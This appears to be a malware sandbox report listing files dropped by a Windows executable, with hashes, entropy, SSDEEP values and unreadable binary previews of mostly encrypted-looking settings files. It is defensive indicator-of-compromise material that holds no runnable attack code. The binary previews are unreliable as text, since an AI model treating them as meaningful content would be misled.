Preview:	regf.0....]..].K..j...R..G3..1."..)....\F....@Ul.f......-....)c`.9M...\..:y..Z.R..I.`.e_ID..>.g0f..T..O.m.Q...g....%...Q..U.@..Y.b...<...L.S^;...G<..:O..A.X...J....:W.}K.s.N......-...r$'..kf.H.}.l;0.....9I.C.\.C.l.j...0c..,.Q.L.$+...2...BX3$..c2.\|7.N......~:O..\|.,...f.."0\|....zuy....K.6...d........A.z..g..~.!.......^..b.....'.;.?C.".<.#...m..;..+....7p....&.=.)....LRo0r..<WO..n.Y.%.U.o... #'.....Z...u.O+y...%...s.Td.B...:.0.K...~.(..I..B%....T..M\..m....W.VL^>..L....Y..C..e.=.,.l#.k..t.e6..O=T..G...J...@..Y.9.6.....bM:<c.....c.&.W.tK.e.....n.{......\|..e.....YDE.q.F...So..K..^.&0..,8l.....iVa.....UR.u...F-..7R._Q:.....&..!%..KEl....Y..h..B<^..Cx..9.4._.....9......tI...s.....w)X.PHu..}3_r.X....JGh..@.......AD..y...]...{8..........i..,a..2}...'.aMc.9y.4....b.....J.~&...0.3}}..].[..Gdsn..:e..._o..d....OR..@Th....a.cQ2\\|.d.........i.z..q.6.Aue.....h5..f/....~.~..?.=p.^".D.>N...;.Oe._....[.0?Q....$..,...vx._x.}{r.-.F..E...l...i6.`..$H...N.b.=.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\StartUnifiedTileModelCache.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	44550
Entropy (8bit):	7.996421627879289
Encrypted:	true
SSDEEP:	768:/8bKizVVZhNvZYf2U6qQoOqI5ueaFuJa7tXXfu16MiLuM9ZFno4AYLEdRQiBoHev:/liz5YT9QBqI53af7tXXfu12LuKHnoLP
MD5:	FF20214F67B1AE8A06A27FE520DDF83E
SHA1:	0A6FC2FA9338125E60177BBC168E50604921E750
SHA-256:	5349C353D675AB04281E73AEFCA8DA00B797B0A5867CA51D6272D91E80EA46C1
SHA-512:	89BF9612A39FB75921C0C2A6A355C6EED059C1DFED08D6134A6E5991484C762F5328A0D6D0A4E859D7CB9C3E064693FDC677EDC7C704E21CB9D123641C2D9EE1
Malicious:	true
Preview:	W..~]....5...W....F..0K.....OD...2.ay..8tm%.a.....Q.;..ii.'...p.'....q...P......m.n[.(.........T.I...b}.p...'....0......Y49g...z....z..7.^..Wt..6M.P....Md.......'.Mh.6-$......9..pR."..F....Q.n....G.!....P...MBJ5..u......F.:.D.;....WP..t7.....O.c...j.H.F.v.c...P..&...uhP..m..<[-.lC.7....1Q.X..P:...t..4..f{PR2.#o._...).i.w..V..F.zt&:N..\.=..S. ......L.$.k.....Y...R......P..Aj...wx.f..x]i..P..i...Z&.J.m{...b0.........F\|q..H..LX..~....:G;-.>HV...\|....~.5.m}f.xIF...8C.4f%.PLrh.Z.C.B.."..a...c.,..lvh.8Y..h}..a..D.....fj ...b...d.5..3.....L._.7.'...;\...o.....aM.uA...1.....x..3g.f_#..R.V.m.p..x...N./..h.H%...`.3......B..[DH..o!.1..I..."....jtYqPK.Q.....&..#.....O^..di\|....cQ)&0...L..3....1.xb.".U..9t..Uu.g........yo%`.........j.T..'~..W.g.. pP..x.V.Ld3..7..UiS.H&..X=.R...<1..3r..0.B..D\.ZI.jj.....Q..(..I<.S.{.`B!.#...'F....N Y...a..ty+....74...z....^.xs..+(`.o..K.....usV.FD.#......j..\|^....=Y...S.........'+\|.......V.U.[..4zo.L.Z.+.._.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978051949893105
Encrypted:	false
SSDEEP:	192:YpF+Iv77845ffcdhq967pXrdicPBtkDCGNT4AmF+IDGRg8IMNlXi:S3DZ5fE/q9Up5zk+G14AoGRgSJi
MD5:	4EB7EB2452445CEE52D0E043DCF1F4E0
SHA1:	19809FFB64EA182B740829026B2F04AAE59912EB
SHA-256:	EA0E65EBB58069CD6407A221A6D91F1267DB361B8A33517CC3B00B54E25B557A
SHA-512:	4FE2DA6692E6CB22EA1345EB94C0F4DB526900277165ECF40B0CE3DBBB4EB22B1B8A06AAE424F80D5A32E105977A1BC3C21AEC7141789D4A6557A32C72AE9FCE
Malicious:	false
Preview:	regf...+.....@.......9...m..&.o&Z0. 4kJ.!...C.>o...n.v...0..y._...x.a.b.k.3]...F.@YS..x.HJ. [!.'..O....V....?",.:...]3.3..!WF...Jg..U0..'. A.... .E.B.w.;<..JZ.<.V.F.Q5..G...w]\.D%Qz...IS...Q...P.X.....Y6.V.{....q._W...R............'..N...Z`m.mb-....;/..zs.....SUG.i.{..=..@.yC.../.}5]'...UeH? .O..:.L.e...D:...p.Qc.2.......,,.}.^.=dqp.?..7.V...\..o...H.U.R......`cg.:ic^.k. ....3LM.,f..#^....1=.....?.....?YW.Z...Ks.{.;.C..d.M.h.au6.}N..q../.I.Z...@.O..7:S&Z.......B^.(.S....Rt...=Tn.2.../.\|.A9...... .d.e.U.a.sc......A.R.h..u...t...'. ....ak..c..@..-....f...&....V......C...q,YP........ ....]U...rM..a.. g........%.+.[..,........O..ye..]..N.n.Y.B]Z.[.\|^..+.k6.....8ci..@9....*../....C....U.t....M...>.Q..Jw%..!zR..@..;.Hn.7x[y...(I..)+..v{V......L.:n..m...'o.].......Yr....h\|......7.).u.-.h..G.....-..ol..Y......=.>....5..=....k.3...K....E.@.R<.O.e'\|..D.1/.{...7i...16A[../..n.^Jt.l.p...w..Fu~...gE..U.q<.N......W=.3%qo>.6Eq>A.0..}..+.....&...?

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.974663420617976
Encrypted:	false
SSDEEP:	192:gD+noZ1gNPsggXfBmLhnEDhXRgsiCyC1Gt1k00K/nN:gqoZ1MPgELaDPcDC1uv1nN
MD5:	CD6B4070FE79CCE3B243B7969EE58A95
SHA1:	F43D8ED5D4B51DFEBE6F3753D49E54B79870DBAD
SHA-256:	79D36D4E92A37F77D945B984CCD22500EAFF0867B3581715C8D7918AA53CFE7F
SHA-512:	243C317C789E5079D922A2DB9CA45002B11D2CD8B3EDE2F4E5E012D32529C4101F95B115A74C5E035576C74A99F50748C812E217FBF1F75CC1F1FDCB32C1DEB4
Malicious:	false
Preview:	regf....zB~..U..4k....$......g..4X-.F.o}`g.H..-$#P. ....d.9......1 ..+.-...O.........3....lju.y.g..\..7...._c.Xlc..T.m.=..[.}..........<......M.0.>!.2...(...A.......b........Ek...e..%."}.y...=y..;E....\|d.fn\xze........2C.../.9O.{.$}....[..._.\|.2.s.2.CD....a;..R,..X9......zKE..8....m.[&.4..OY.j..Fo...r.h;.u.T...pj..+...t...{/.q.....oP.9.....?.]o.!.M.....Qd..8X`Vj....y.r.hf..=.@.DD_;.{..X..v.oC...Ao..z.$...E......y.fJ......3.S.._s..El..u..U....x.........pp..`..2..[.B..0Ms.....sd.8z".%...v.!.#.)cUq8....D.Z..M..r4....r.....F....e......Xk'.....#.N..q.........&m.;...u..BzgM,.$..F.....p.'......~...;Md.o.r$3..%:8..@......].x;.oKa... ...q...,...K=4.}.h..8......%.0u~..k,...._...x.3B.6.bg!..z.......#..'..Q.".......&.+..\|..B!G....B.YUj.6..ry.1..R..r.~p.\.>........e.X.9.V.J..U..NJ.u.l.[.A.....P..qD.TF9........=.qi.....QnK......z.b.':@yHU.Z...!S`.......$..9...-:...".`..."q...N...H.LO.Z..0#.(...."....[V.....*[.v...3.%T.bGLJ.x.w.......fF....

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9761488704425485
Encrypted:	false
SSDEEP:	192:P9i6h526ORokB8jqILiNwt93YBNqcHbCRdn+pK71Vwju9o3KpjO:lh5DOj8rLiNw/oBDeR1uKjwju9sKpy
MD5:	F6897D0F9E5336F5E6760CE747A230F7
SHA1:	D0707D8BB14152984F7D50DA131D26ABB1DDA440
SHA-256:	8F7BF8682110A62759EC69587CFE22CECA439E696205537FF1A0941ECCC6883F
SHA-512:	4A94513D23D9B24A34B25064E4B2B052370012C10ED36AB4DDE43180D62C6ED3F3B7941D079DA37FE0BE510ED3EC5D87894EDBD9A57BA84A8888F1FD1419E702
Malicious:	false
Preview:	regf....E.cE..5RKm... ..N..._.e.4........>.....C...)k............P.._q....Mi....y..?n.0...z.c.\.w<J...j)....n..A.dM.K...Z:f3^Z...}y.W.u ...+..q.....3.,9....l.....O.c....B..\...9VR.,..L4v.u2m^B.a...Y...-S....)a^.`...&.....Y.H..1.>.&.i#.........Z{.+.yv.9\|M../...7'....#...oD.-+=.#U.L....b..m\%[..B.oT....fcK.!\|3eM;.Z........w..g..8..(..fy2..JCHh.>L....]q.t..L.1..3g...Y......S...e..y...V.v.1.B.....F./!.U ....'j..6&..w....o.a[wTV..+.H.pU.q.zr.......1 .....8Xu.....mE..G..{..w&1.l...=..t...0..E....B..3.r..z..U..6..'..%du.0..?..e.\|, .L.....)..)..<...8?.3M....M...5flE..bRE....x.Z<.}t[...!..-..D$,..$.)w.UE...T2.=....`.n2...z...GrH.[.)._.....xU...y...XR..4....,`4`.0\|....G.. `..L<%.$.bD.~..P'i=V...e.....".-.b....:...M.....h7`..c.ru....eb.<..`...b.l.z.Sa2..4.......<7.\|e.....E...@.5..L6W...q..Y.G.o...3.Y,..5Z7..E.....`7z.8.hm.6/stv..(RN..~wM ...f... Ue...dh....3.CbX.N:C..G....z,. .o\......){...&e.p1H.=.lt...F...o.o6..0(...G....7.OD.#..e......

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979653718571154
Encrypted:	false
SSDEEP:	192:9PFi+aYPsIXL4+k/Zp3e47iVcDdjb0uezzwFVZVfLNr:H9Psqqje1VodjbDez8Zzr
MD5:	D493B8A3577AD3BAC812A0B1EB1D4D20
SHA1:	60B27824ECA6BA485DB654DFD6119CF36A0EBA80
SHA-256:	5C55F66F9209BFB1B5D78BAC3FE62DB0A1D5ECA8F2B82FE3A58D68D3A9A882F5
SHA-512:	E5C0BF2484394A7282DE73A8E5B1F02BE84FCBD8F4891F45D4759835348591E9C86808132ACF91978B75F908C8215D3D9935FCEDA98C7B5E10EE20C8B302D67C
Malicious:	false
Preview:	regf.T1C.2..D\|}S.....pY.??.1\.amf..\|}....s.%Nb..y.....`.E...kC..l....4.M+].fX..........h....B_..'-(.":......^.......}...s..g$....N..i...O..T...J.~...pu.............#...`.....4..E.1...i/aMbawx\..U.#.}..d!./..a.$.....r.A.f.t.....D/..D....]/.{......B@%w>i.X:+..y......bd...Sp..!......yo0 .=i...@........n.;.,......7..B).W....Hc..T.H...l.y@&,....X...7....T..r7.......e.9.; Hg.!.DpW....+.._.9w...i..?....G..c..W_].f?'9..1Qo.a9.......]...zv@.Y..)..6.!%.._m(%.+Y.......~Qn.(H...~.. K@.h....V.8....b...X .....0J.C&g]V..(;...R...C..5.I+..v..D.\|.P..3IC....K$..9.lqZ?&_k.n....0... yZ...:9)...S.2..,...Q\|..D1Ho.+b....81..../.}Z...d-(AY......;...S.....8.e....k............@..8)A...$.DDX...$....hc.YO.Bo..#.....e..~.. ....(=....8'...V......*.@OLZ.1.F.........H....b.....`j.(....s..5%....F<L..4....q...WG..<.b..r....bkC.....U...g.OcK..u.'_....]Y.l....7...H!.....d..f.OZ(6.J.z.l....1..e..#Z.f..6...............v.O.......R}.;g.oW.g.N....1=.a..eZ.-...+.w..#

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsCamera_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.98119590652197
Encrypted:	false
SSDEEP:	192:sOJdy5bW5mVoQf1KL2S9gZ+fMBM3fNOr+jITJxFAuBlfO:j3y5SbIK5faz+AJxFAkw
MD5:	993A92D3D0D31DF70D049A2C301413D6
SHA1:	7D4B84822FD3FBAEC5E9CE616E298FFDC718597D
SHA-256:	36D6B911A09633C3C7FD2A6DB91E6E9B8D65CAFD6EC09D2FD651F3DFDB678FDC
SHA-512:	F36C979F107AFD379A58FFEE61443BE6B82189E49EF8B5A36223A894967C30D2038C131BA65D2C9389B29F8157C7515367568C290DF40D4EDC33AE493D3C456B
Malicious:	false
Preview:	regf.. ].XL......Ir8w....R...w.T.{z.......HX..].:...O.....(.e.;q..$R.....o^....ZD...[.k13.(........oz..L..v..}.,...AAJ.1"._..V.....K....`....G?N.e.}.'...C.4.......;KEA...d&1...S........_E.o...n..L.[?..,.......)@M.nB...hQr....@.M...~...9~[...p.S.....(.>.\.I.n..;L...,..^.fU..x..o........5.2.2:..f.q.x.F-@..a...`...t.h...../....J.%W.a."....U..o...HZ.....?.d.6..:u.$.!.2.U....~...0z.i......^.....p.y...G..&......c..t..ZQ.&.\|.f........;.\|:z.x........<.]O.E......}Vqh..p......z.....k....i..l.c.t.[R.\....i.3.U&...P.r.......P+.....-....J.4.so.w..K..B.... .....T:.....!b.._J...V.%1....).D.m+.f9Kr+..7z.;.U....u.:... ..=Q ......~1....R.2.#........X.^7K..E....~.cl...._j.Z9>.MS..1.......(.]4J.....n.....a9.I.vS..R `<.FI..d.s.(.8.1...f.....v.........Y.O.].....v......d3.jAM..rm...x..7K.!..+....V.v-.t.g..wb..1.;.YvB>..z..N......l.]..u.b....#..^..M..){.a7@.[...~....L.f..\.R.Zx.6..A..6..D......Z.=.7.<D...e-7!.r.irrTx....^U}.D"Z.h\|......O9.s.o....v

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978646812290639
Encrypted:	false
SSDEEP:	192:mxm6KxNE0i4bbnoF6ubEY6l1VLp93C5nnzBi:olYacoelLgk
MD5:	1D3F8865AD9F234DCE75BDDE33F24592
SHA1:	75B903544146062A97254EA214750358C9FC1DB2
SHA-256:	AD9A7B0BDF58EE1358CFAD4D5ECE61BC371ED2065BA90CC5B04456003211E0DD
SHA-512:	90AE9C374C1DB2E459DA83FEADEDE2EA76E36FF967D5DF1D91B95DAA407783894438487EF08D366A90711F65AB24D3BB22ADF83A6BA4858091607E561ACDBC6E
Malicious:	false
Preview:	regf..9..WO..r.r].....)~N.e]...Bp..M.i-^Fdr+.._s...9.q..R...:...j.ZE../!8.]..&Bi.e.....i.0...H..).i!DTs..f+....<.&.'ssE=.....+.X.KiWA..R).....S.....m..-.....%V.(..5.3..=..,.#...y..+..x[..B&..om..c...Z.....}.m..ya0...'b..f.s....:w..i/..L....p...q.f}M:..Y..'=O..Yz....k.....>".....EIQ..e...i.7BP..X...qj.u......_...u...MM..N.t%....bw....8o#.C..7........Z.N..T._5..mq6rk..M.8..R.b@.._.:z....j(F..+X_..F....).k...U..-.........6.[H..{Z@...)....Kdu..m/v...PO\|0.....0....3_3z.....rPq4....5g..(...S..s......;<J...?..i.OrR\g.x.....d.Q...0..l....r..F....zx.%..C.M8..v.....u......#.....%..X.YD....j..../.6.u-..{....#.(.s`..o.....9...8........N-.#.MY}?...[.$.[..w.m...,rn.Q .{..F@... ...7.?Q..:..>.LR...]L..[s-\|.....:.."...v.SJR......j.N..X"..x"...d-.\|<_N/T.1...}...\|..oSgz.=(H..*...T.cXM^..(.q...bF...;b.%.. .s.Q.........7.;....N.}dUa.....W8..B.;...E......_n)..:.II..6.....b.3`.8..........?Y......o5y.a4G....?.B..Tn<?.W.u..#....X.....fV..<.~jb....B

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsMaps_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9794036772709465
Encrypted:	false
SSDEEP:	192:f5nuPOMjMxSEFdft9Kjg+nULCkzxq+BPQXnpUYnG:f5uWMj5WpmAaXpUf
MD5:	F9E79980D8DEE44715EF34CEDAE490C5
SHA1:	8FB7D8E091E33381AD49442BE43F01CBCA04D91C
SHA-256:	F2735EEE4DC4443BC01CACE17EA7EA7CEC25C7314151BEB53B0D156A75A7BAF9
SHA-512:	EF14DBB7265FA60C45760AA03A83AE7293C1EEAD904F449C5B9973C60EDB6AD884CAA0D254A9F3B70CFDEDD6C372F6C4F5B77641BE53AADC6986536F9790A946
Malicious:	false
Preview:	regf...K1x....e@Bk!....K../.M.....o.fiC%(.d..^..RW-l........ ..b.........s..%.^.+.$0.#n6..\ON.C...L.h+.9'q.A..=..s..............n..~..7..9........-w..b>V.._<.....v[.K.......#.Q..y.%`....b..6..[..?9....7...p.y.;......lN../.D.....9}.t@.yXe...FVi.A.UoiA..=.....c.&H.].#"X\....x..svN.ou..o..X...'.-..&....x.........Te....\|..-.@s...{...n.6.]..-d....O.\B.I...D.4....t.....E.Qf..f..]p.G..:../....p`L.......&w.i5.9K+......$...))..w..'..L`#.,.t...D....".bi..#.5..l.F...7".s.....,`?..u.wF.C.P..<..n....o&.b..r....".=O..Z.....S_^0.p..)\.e.c.....i..WP\.n.. G.+.....K5f..rW..rD4..5...zY.3K.py.6..G-m#..l\I......t...f..5H.b......P.....34......{...6.......D.z.......(..H..G..B.xn,....R2.Y..k.e.N.POI.v.D....aS...}..=..:.....T......HY..$%...?.b#C.F`....d..C...S..\....Oyw.:y..@n.......c.R...7.h.........jY._)..}_.vn.(NP+.\|..0..Fc..k-O.......}...u<c...w...~...$.c...4`.C...QFF...w..r\|,bS...........'.......n.f.L5....../.VS..YGt%.\..#.s(U.0...N#.e..!.....0.H

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978156068694387
Encrypted:	false
SSDEEP:	192:kitH36sbrdtcsCjDi0jR0mpHNRKtJ8zdf0pZl24bhsi/gT:kiJ360dtcLjpjGQKA6Znb+im
MD5:	C1DBE631F3B3450881AFC1E75381208F
SHA1:	FBAEAA5E4ECB31074E92E9A9C093D48694136A1C
SHA-256:	0E9835DA9E686B9D1BDC193882774C543A246B7C2CDD7FEB2E06F23398B7C1AF
SHA-512:	C2826AB1A4324F8AED9E07B9ACD058CEA9AE637AA38952C703A2CA09CC86D1F9FECC72410C2DB0142F5B7B14F4B7FF8F6DE1E002B7B4F90B4F5A827EF2320C1B
Malicious:	false
Preview:	regf.......~...........G.&..............f....@rR.\|...W..8..=.(.uFU.._...k..L...3..P\|s+.....Zd..X.?.....;.....s.4..U..<.h..=.. 7.~.Q....n.i.,R.I ..Q!.?..{......m]&{!.....-.).".2........j..V.a.u...vR...Egr..1..I...6..\........)........X..cPm..nIo[.....a6G.. ..{..,).hq.....\|.......w{.).F=...&.&..4#...od..S...T...6.x..l.....Y15.Y!1...../.5..D.......^...3.....>........M....5.c.\..7.[.By..=.^3.Z.....7.c.....d.J.k.8jTr&>1j.$..0<.G..]........d./.&.CH..H.Iz.I.?\...N.I..D.c...B.k.H.9..g.d.U. ,.36...>..Q.6j...7.....]...g.eO.3M..6.cl...O`.C..f.o.../.>...1.l.....-.,...1..Rv.....N..3..'Q.6.p:.i. .r7....#...mo7....h...],07mmN.<.:...[2....<..:...+..._.........{A.J^c.O(..o=..C...=.....(k..~...8..7.^.\|.80+g5....R.......e.......P...E/.w9..5....`.t....j(.............mg...0.S........&BKM.w...w...........4d.17.U...O.d.?B.>..g..'..>wpH..r.G4..wB. .....N...M..'...2........I.g.d3`SJ.+...p$3...3.j...c...W......H........yA!$J...Q.5v...R.$...s^+1jfFx.

C:\Users\user\AppData\Local\Packages\Microsoft.Xbox.TCUI_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.982315276838824
Encrypted:	false
SSDEEP:	192:akgLA4XsZyK/ktP7G7jKAq+NsD50PRUmhshM+l0:aVsZyK/8zTAzNsdmRHsGg0
MD5:	2860FC7875787F9BA9823716283045E0
SHA1:	97F321B2093192EA137CF8DA45993857189292DE
SHA-256:	BB03C9B3E33B752F998E4CC80FC2DF442662A8EB2D68EC8D0041E7E6748520A0
SHA-512:	4D422F770FC144CCBB7EB5EB6376FE1EAE1E2817AB4D8C8A2F8F79C3CB7760F8286256D00392926033AC07147190C11FD034AC867E02FD24E445310C9A5CFDA6
Malicious:	false
Preview:	regf...Ja_e:..S.......g0.R.j..L...w....L,.&.CA..&....M%5=4...wT...N.@h..w."..d...oi.Em....,.......Jn.......9....\|.D...f.1X.c.U_.G..kz>CM....#.?Z..X&mn.Y<._.K.=.....0hQ`.K.....%qx.FE..:....SR.W..d..<..M...-l.f.{...h~...S.@0.D...l.q...+...\|_...@.....)..c...K..}.C......v}.Ln.z.6..n=U$....=...cj...J/>.........K..tW\.@....u.'.9.....5T.....+(..:.3G.R.INc..F...2...j...z.y..]&/.4.....h....#.....)..x.m.2W..A..S....e@.S!we....Q..I.UtG..;...b..1...<..}Qc...N.(.R cW..t..S.^..kb\>.)..D.<..f...A...M5C.=.....i.#9.#.k.....Kp..~.?..\|...j...u!.~....$3.Zx[....u...^!......!p7..{.{L.........s..i...)..}.`..g..........J.......z.B.$..=..$..A.........,..b.R-.....UN..}B.........2>...7w)L/5...]...SlYe.<.X...R.......M.#b...A..w..d".rE.ji).cJ.M.....;.....^K..!........%....$US...G.......V../...)^E$y..f...C...'..eU1...P..5.R~...XG8..f...........u#.z._.?...L......Kz.A......3'..r.ou2.e..&.\|..h.y[.t....9. {...Mv...V).*..=..u...\|fvv.u$N..C..t.S.S...~..X.............K.2?v

C:\Users\user\AppData\Local\Packages\Microsoft.XboxApp_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.973847546081239
Encrypted:	false
SSDEEP:	192:N3Amjb6bKX3Gn/SJ/6WV4IMQ1VN2h3NXs3vlBODeo9G3M:xAmjGbKn0WCu1X2h3NX47ODJ9Z
MD5:	69869A7A655ACBE1DDF6C5977B6F0E03
SHA1:	4223CB275261F1CA7C3A42A5BCDD4BF655A38C0D
SHA-256:	E3431C05F0027244D9609348CC2385EDEDB36B0954F1EEC56A508243CE1D4D4E
SHA-512:	974EE3F5D0C3DE63313D2F52C8D04155A1A409A8F8192E7F9D6AA6822C41FBB4086AE80396D8D2E19989277E6D7AAE18F09B47E72936503B9982E35E9D4E6315
Malicious:	false
Preview:	regf..........wd...u.j..KJt+.....9....)........?y`.>....,/..3..O..#.8.!.^..K..;..T...<N.ZLT(..6.......!..@..6.)......<?.#..4K..,.f.=.....,:T..0v...Z...D.(.....G.H.jk....`...xw............?.8^B+....U.......,...\|{.1..7>Y.."...y^.G8..}.....=n.....r:,.....;.Y."..mM..^.=/.H..J.^\......%.w."6L..Y.:Q.X..4?....=..+.U .u..#.?..%.y.WZ.\2LI:w.}..y.:uZ..eMm........y..q.0....\|.N...pB.z.."....b.9..GJ].A....E..g.. ..X?.5.e..WD....?z.......LS.EHJ......l.......K/..K....1O!....q...g)..S.M.2.....mXmA....#.....".I<.\|f..h;.X5pJ..^b@`.....5..M.q..%.W.o..]....0J.x.=.DT..QgmY.#...0_w.?l....".A...tV.qY.,<.1p.b..{pM..PA.6!.w........#.G......[.p..4E..o...p.-.................C!_....R%..kD$V.`oJ^&1u.D..s....`.B. }..;...@...L.+..JU.0.%/\.o".?.5.."..C}.&..v...1...._...#.n7.o.p.!....i...i.W.T...C.68...........::.6.5....xTa....p..n.F^/.....4.......o"4.^o1..Q......]0Q`..........A./.O.U.:.!x. ...f..x\|...k.......].s]..\#@....WsYK..T.<.@Tq.3lA.\...q.........7_...v...\|..\|i..

C:\Users\user\AppData\Local\Packages\Microsoft.XboxApp_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9757208970001825
Encrypted:	false
SSDEEP:	192:QwoaVbPzv4kF9Fj3gG0Z0D6cFRWdpE8MTOu5XPfs:voqVh3gGRjFMEXX8
MD5:	BA2BDB758812AE68B1C8E9DA449FF2F5
SHA1:	79AACF9B96EC85690BE409CB24C5EC1AFD65F4C1
SHA-256:	87364B005F0E33DC42472F467817F02D81AF0409620698E8DF78445DA6AAC197
SHA-512:	A7AD61B06E7415E6885B0176DE28D93220B45F3C96E92F2F0E72ADD4B27CC11C07F2B022EAFB3D346F8AA4AE80E95FDDB3EB31391CA6B6BA4EA1AE9161ECDC39
Malicious:	false
Preview:	regf...Q.L...QT.6.IP.....J..X$.: ..H.Mq../n......z.{..G..W[.....Oj.T...<W'.........N...uz.......0.(.l..@L{..I^....S....o]n.w...s..Lv......f....~w..P...U3........F..T..o.q.......g.....K.b8E.Di.{.~u.../..b...c....j0.e....s...v$..W..UB.Ipu....YH\4.G.&..S.n."..s.o...-..}...>.0e2s-.!.._K...\|L@Ok..1...A.\...v..4...Af.\-....e\A.f..V..Q.f....<..[q..].g..0>F.vE..'...B.........p.)w.....Wbk.O.;....{.eb.N.%-.k$.....;R...;...;lF.W....F...F..y..........V.z..u^I....%Z.Y.....F.../...p...j.v....N...2.&.g2....{.3......Db...y.U...._108`w.A.."t.H.....=v.o.#i.qm.).9..I.w.-]w..~7..'E...V....xW....Q.b.Ku.3..'.].Zz".iiv...!.....C.JH"<....{.P~...D.......j5..d.. .f..r.95..=~..\.;.WXrW.........f.......Z.R.N.=.L.p..;.Jt".z1wy5."....H^.n[a.}7....n>....>.k'.....R.5:S..(U..fD....A.5y...+.D.^%.x.. ...;.#...9i.....I..P.I/Q....n.e..h.....-Vf.h.g^.\s..k.Oh.y...a...i]_..x1.&<......\....1..T..:nR-...l+.v.P.1'..H.i...'..d.....pFT..M.E.;.N.^.$@.. s....<....C..-.... ...5=;.

C:\Users\user\AppData\Local\Packages\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978436986921182
Encrypted:	false
SSDEEP:	192:YqAL2/GuIQNUKKAqO1POH3DwHvWGXU1aGhAqOm2tY:YqnJIQqDAZPi6vTWaGapm2+
MD5:	BC3189D5ADFF20B5610B27B487A045F9
SHA1:	BFD85CC1376843116341A2782FB860CEE5AFC9D4
SHA-256:	DA316B8222E7D1B42328CD56A63D6AEE612D141912EC1931CF3292BC8A9720AC
SHA-512:	CAAAC10428248E257FE30AFFC11AF382DF152A4741A33A2F0CF01683567857223F4667E98C6587940608442B1232853C08808796AE1F97EA8633FD60ADE12C32
Malicious:	false
